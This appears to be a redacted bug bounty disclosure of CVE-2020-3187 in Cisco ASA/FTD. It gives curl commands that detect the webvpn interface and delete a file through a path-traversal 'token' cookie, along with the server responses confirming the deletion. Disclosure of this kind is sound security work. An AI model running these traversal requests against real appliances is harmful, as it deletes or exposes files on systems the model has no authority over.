Unauthenticated Arbitrary File Deletion ("CVE-2020-3187") in ████████

How it was found

Description:

A vulnerability in the interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files.

Vulnerable host:

• https://██████/

Impact

An exploit could allow the attacker to view or delete arbitrary files on the system.

Step-by-step Reproduction Instructions

1. Identifying vulnerable host by send request to /+CSCOE+/session_password.html.

> curl -skiL "https://██████/+CSCOE+/session_password.html"

GET /+CSCOE+/session_password.html HTTP/1.1
Host: ███████
User-Agent: curl/7.47.0
Accept: */*

If the target is vulnerable, the response header will display webvpn header, like:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Thu, 10 Sep 2020 04:14:27 GMT
X-Frame-Options: SAMEORIGIN
webvpn: 

2. Perform exploits to delete files by adding token in cookie header request.

For example, I want to delete this (https://████/+CSCOU+/csco_logo.gif) file.

> curl -Ik https://██████████/+CSCOU+/csco_logo.gif
< HTTP/1.1 200 OK
< Content-Type: image/gif
< Content-Length: 2678
< Cache-Control: max-age=6000
< Connection: Keep-Alive
< Date: Thu, 10 Sep 2020 04:19:54 GMT
< X-Frame-Options: SAMEORIGIN

Request:

> curl -skiL "https://███████/+CSCOE+/session_password.html" \
  -H "Cookie: token=../+CSCOU+/csco_logo.gif" 

GET /+CSCOE+/session_password.html HTTP/1.1
Host: ███████
Cookie: token=../+CSCOU+/csco_logo.gif
User-Agent: curl/7.47.0
Accept: */*

The following response is shown:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Thu, 10 Sep 2020 04:21:02 GMT
X-Frame-Options: SAMEORIGIN
webvpn: 

File deleted successfully:

> curl -Ik https://██████████/+CSCOU+/csco_logo.gif
< HTTP/1.1 404 Not Found
< Cache-Control: no-cache
< Pragma: no-cache
< Connection: Close
< Date: Thu, 10 Sep 2020 04:21:20 GMT
< X-Frame-Options: SAMEORIGIN

Suggested Mitigation/Remediation Actions

• https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43

Impact

An exploit could allow the attacker to view or delete arbitrary files on the system.